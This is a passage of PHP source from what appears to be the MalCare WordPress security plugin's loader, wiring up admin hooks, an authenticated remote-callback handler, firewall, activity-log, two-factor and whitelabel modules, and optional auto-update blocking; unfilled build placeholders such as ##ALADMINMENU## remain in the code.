if (defined('WP_CLI') && WP_CLI) {
		require_once dirname( __FILE__ ) . '/wp_cli.php';
		$wp_cli = new MCWPCli($bvsettings, $bvinfo, $bvsiteinfo, $bvapi);
		WP_CLI::add_command("malcare", $wp_cli);
}

if (is_admin()) {
	require_once dirname( __FILE__ ) . '/wp_admin.php';
	$wpadmin = new MCWPAdmin($bvsettings, $bvsiteinfo);
	add_action('admin_init', array($wpadmin, 'initHandler'));
	add_filter('all_plugins', array($wpadmin, 'initWhitelabel'));
	add_filter('plugin_row_meta', array($wpadmin, 'hidePluginDetails'), 10, 2);
	add_filter('debug_information', array($wpadmin, 'handlePluginHealthInfo'), 10, 1);
	if ($bvsiteinfo->isMultisite()) {
		add_action('network_admin_menu', array($wpadmin, 'menu'));
	} else {
		add_action('admin_menu', array($wpadmin, 'menu'));
	}
	add_filter('plugin_action_links', array($wpadmin, 'settingsLink'), 10, 2);
	add_action('admin_head', array($wpadmin, 'removeAdminNotices'), 3);
	##POPUP_ON_DEACTIVATION##
	add_action('admin_notices', array($wpadmin, 'activateWarning'));
	add_action('admin_enqueue_scripts', array($wpadmin, 'mcsecAdminMenu'));
	##ALPURGECACHEFUNCTION##
	##ALADMINMENU##
}

if ((array_key_exists('bvreqmerge', $_POST)) || (array_key_exists('bvreqmerge', $_GET))) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended
	$_REQUEST = array_merge($_GET, $_POST); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended
}

#Service active check
if ($bvinfo->config != false) {
	add_action('mc_remove_bv_preload_include', array($wp_action, 'removeBVPreload'));
}

require_once dirname( __FILE__ ) . '/php_error_monitoring/monitoring.php';
MCWPPHPErrorMonitoring::init();

if ($bvinfo->hasValidDBVersion()) {
	if ($bvinfo->isServiceActive('activity_log')) {
		require_once dirname( __FILE__ ) . '/wp_actlog.php';
		$bvconfig = $bvinfo->config;
		$actlog = new BVWPActLog($bvdb, $bvsettings, $bvinfo, $bvconfig['activity_log']);
		$actlog->init();
	}

	##MAINTENANCEMODULE##
}

if (MCHelper::getRawParam('REQUEST', 'bvplugname') == "malcare") {
	require_once dirname( __FILE__ ) . '/callback/base.php';
	require_once dirname( __FILE__ ) . '/callback/response.php';
	require_once dirname( __FILE__ ) . '/callback/request.php';
	require_once dirname( __FILE__ ) . '/recover.php';

	$pubkey = MCHelper::getRawParam('REQUEST', 'pubkey');
	$pubkey = isset($pubkey) ? MCAccount::sanitizeKey($pubkey) : '';
	$rcvracc = MCHelper::getRawParam('REQUEST', 'rcvracc');

	if (isset($rcvracc)) {
		$account = MCRecover::find($bvsettings, $pubkey);
	} else {
		$account = MCAccount::find($bvsettings, $pubkey);
	}

	$request = new BVCallbackRequest($account, $_REQUEST, $bvsettings); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
	$response = new BVCallbackResponse($request->bvb64cksize);

	if ($request->authenticate() === 1) {
		$bv_frm_tstng = MCHelper::getRawParam('REQUEST', 'bv_frm_tstng');
		if (isset($bv_frm_tstng)) {
			require_once dirname(__FILE__) . '/form_testing/form_testing.php';
			$form_testing = new BVFormTesting($_REQUEST); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			$form_testing->init();

		} else {
			define('MCBASEPATH', plugin_dir_path(__FILE__));


			require_once dirname( __FILE__ ) . '/callback/handler.php';

			$params = $request->processParams($_REQUEST); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			if ($params === false) {
				$response->terminate($request->corruptedParamsResp());
			}
			$request->params = $params;
			$callback_handler = new BVCallbackHandler($bvdb, $bvsettings, $bvsiteinfo, $request, $account, $response);
			if ($request->is_afterload) {
				add_action('wp_loaded', array($callback_handler, 'execute'));
			} else if ($request->is_admin_ajax) {
				add_action('wp_ajax_bvadm', array($callback_handler, 'bvAdmExecuteWithUser'));
				add_action('wp_ajax_nopriv_bvadm', array($callback_handler, 'bvAdmExecuteWithoutUser'));
			} else {
				$callback_handler->execute();
			}
		}
	} else {
		$response->terminate($request->authFailedResp());
	}
} else {
	if ($bvinfo->hasValidDBVersion()) {
		if ($bvinfo->isProtectModuleEnabled()) {
			require_once dirname( __FILE__ ) . '/protect/protect.php';
			//For backward compatibility.
			MCProtect_V602::$settings = new MCWPSettings();
			MCProtect_V602::$db = new MCWPDb();
			MCProtect_V602::$info = new MCInfo(MCProtect_V602::$settings);

			add_action('mc_clear_pt_config', array('MCProtect_V602', 'uninstall'));

			if ($bvinfo->isActivePlugin()) {
				MCProtect_V602::init(MCProtect_V602::MODE_WP);
			}
		}

		if ($bvinfo->isDynSyncModuleEnabled()) {
		require_once dirname( __FILE__ ) . '/wp_dynsync.php';
		$bvconfig = $bvinfo->config;
		$dynsync = new BVWPDynSync($bvdb, $bvsettings, $bvconfig['dynsync']);
		$dynsync->init();
	}

	}
	$bv_site_settings = $bvsettings->getOption('bv_site_settings');
	if (isset($bv_site_settings)) {
		if (isset($bv_site_settings['wp_auto_updates'])) {
			$wp_auto_updates = $bv_site_settings['wp_auto_updates'];
			if (array_key_exists('block_auto_update_core', $wp_auto_updates)) {
				add_filter('auto_update_core', '__return_false' );
			}
			if (array_key_exists('block_auto_update_theme', $wp_auto_updates)) {
				add_filter('auto_update_theme', '__return_false' );
				add_filter('themes_auto_update_enabled', '__return_false' );
			}
			if (array_key_exists('block_auto_update_plugin', $wp_auto_updates)) {
				add_filter('auto_update_plugin', '__return_false' );
				add_filter('plugins_auto_update_enabled', '__return_false' );
			}
			if (array_key_exists('block_auto_update_translation', $wp_auto_updates)) {
				add_filter('auto_update_translation', '__return_false' );
			}
		}
	}

	if (is_admin()) {
		add_filter('site_transient_update_plugins', array($wpadmin, 'hidePluginUpdate'));
	}

	##THIRDPARTYCACHINGMODULE##
}

if (MCWP2FA::isEnabled($bvsettings)) {
	$wp_2fa = new MCWP2FA();
	$wp_2fa->init();
}

if (!empty($bvinfo->getLPWhitelabelInfo())) {
	$wp_login_whitelabel = new MCWPLoginWhitelabel();
	$wp_login_whitelabel->init();
}

add_action('mc_clear_wp_2fa_config', array($wp_action, 'clear_wp_2fa_config'));